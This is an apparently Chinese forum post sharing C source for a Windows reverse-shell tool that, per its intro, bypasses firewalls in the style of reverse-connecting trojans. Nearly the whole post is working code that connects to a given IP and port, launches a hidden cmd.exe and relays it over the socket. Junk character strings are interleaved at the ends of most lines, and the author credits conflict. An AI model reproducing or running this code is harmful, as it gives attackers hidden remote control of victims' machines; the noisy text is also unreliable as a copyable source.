这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o:_}=1nh
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/* ============================== A!s\; C
Rebound port in Windows NT sM({u/
By wind,2006/7 >e*m8gm#
===============================*/ A1@tp/L=o
#include fi+u!Y*3Z
#include ZA zn-n
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#pragma comment(lib,"wsock32.lib") Z}.N4 /
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void OutputShell(); jdQ`Y+BC
SOCKET sClient; -,Cx|Nl
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9_[TYzpB!
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void main(int argc,char **argv) :kq J~
{ Dna0M0
WSADATA stWsaData; ?ltTJ(Po
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; r#*kx# "
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if(argc != 3) ]uX'[Z}t
{ v0 |A
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printf("Useage:\n\rRebound DestIP DestPort\n"); fM?HZKo
return; 0/S|P1!b
} ;oVdkp
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WSAStartup(MAKEWORD(2,2),&stWsaData); y.2_5&e/
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8I$B^,N
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stSaiClient.sin_family = AF_INET; E~ _2Jf\U
stSaiClient.sin_port = htons(0); )6iY9[@tN
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); n;Tpf<*U
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) s;X"E=
{ !!4_x
printf("Bind Socket Failed!\n"); dON4r2-yC
return; qI\qpWS\
} oL>m}T
br+{23&1R#
stSaiServer.sin_family = AF_INET; 'YQ"Lf
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {NXc<0a(
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6ND,4'6
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Kvv&# eO\
{ L=3^A'|
printf("Connect Error!"); }UZ$<81=
return; 6Lz{/l8
} -X5rGp++
OutputShell(); dG}fpQ3&
} JLm0[1Lzd
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void OutputShell() lBh|+KN
{ vC[)/w
char szBuff[1024]; #sdW3m_%
SECURITY_ATTRIBUTES stSecurityAttributes; FiJJe
OSVERSIONINFO stOsversionInfo; :.f =>s]
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; pa Uh+"y>
STARTUPINFO stStartupInfo; F.ryeOJ
char *szShell; PcC9)x
PROCESS_INFORMATION stProcessInformation; p>h B &h
unsigned long lBytesRead; 2<)63[YO
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .,(bDXl?
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); He^+>XIam
stSecurityAttributes.lpSecurityDescriptor = 0; YUJlQ2e(
stSecurityAttributes.bInheritHandle = TRUE; {co(w
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +Tc<|-qQn
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); OsPx-|f
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A>(m}P
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *,{. oO9#
stStartupInfo.wShowWindow = SW_HIDE; ;H/*%2
stStartupInfo.hStdInput = hReadPipe; 2+
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; z"bgtlfb8
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GetVersionEx(&stOsversionInfo); KG6ki_
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switch(stOsversionInfo.dwPlatformId) RzQ1Wq
{ 55MsF}p
case 1: 8:0QI kqk
szShell = "command.com"; 3]WIN_h
break; =_I2ek
default: %/b?T]{
szShell = "cmd.exe"; frbKi _1
break; hNmC(saMGm
} A
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); JDfkm+}uY
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send(sClient,szMsg,77,0); f!a[+^RB:
while(1) Q
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{ SdBv?`u|g
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); N[d*_KN.!
if(lBytesRead) [
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{ f;`pj`-k%
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); dX{|-;6vm
send(sClient,szBuff,lBytesRead,0); N~_GJw@
} &!]$#
else xu(5U`K
{ L0ig%
lBytesRead=recv(sClient,szBuff,1024,0); E ;65k Z
if(lBytesRead<=0) break; y[Zl ,v7
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); S-WD?BFC
} =i }
} ~Wjm"|c
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return; I]bqle0M
}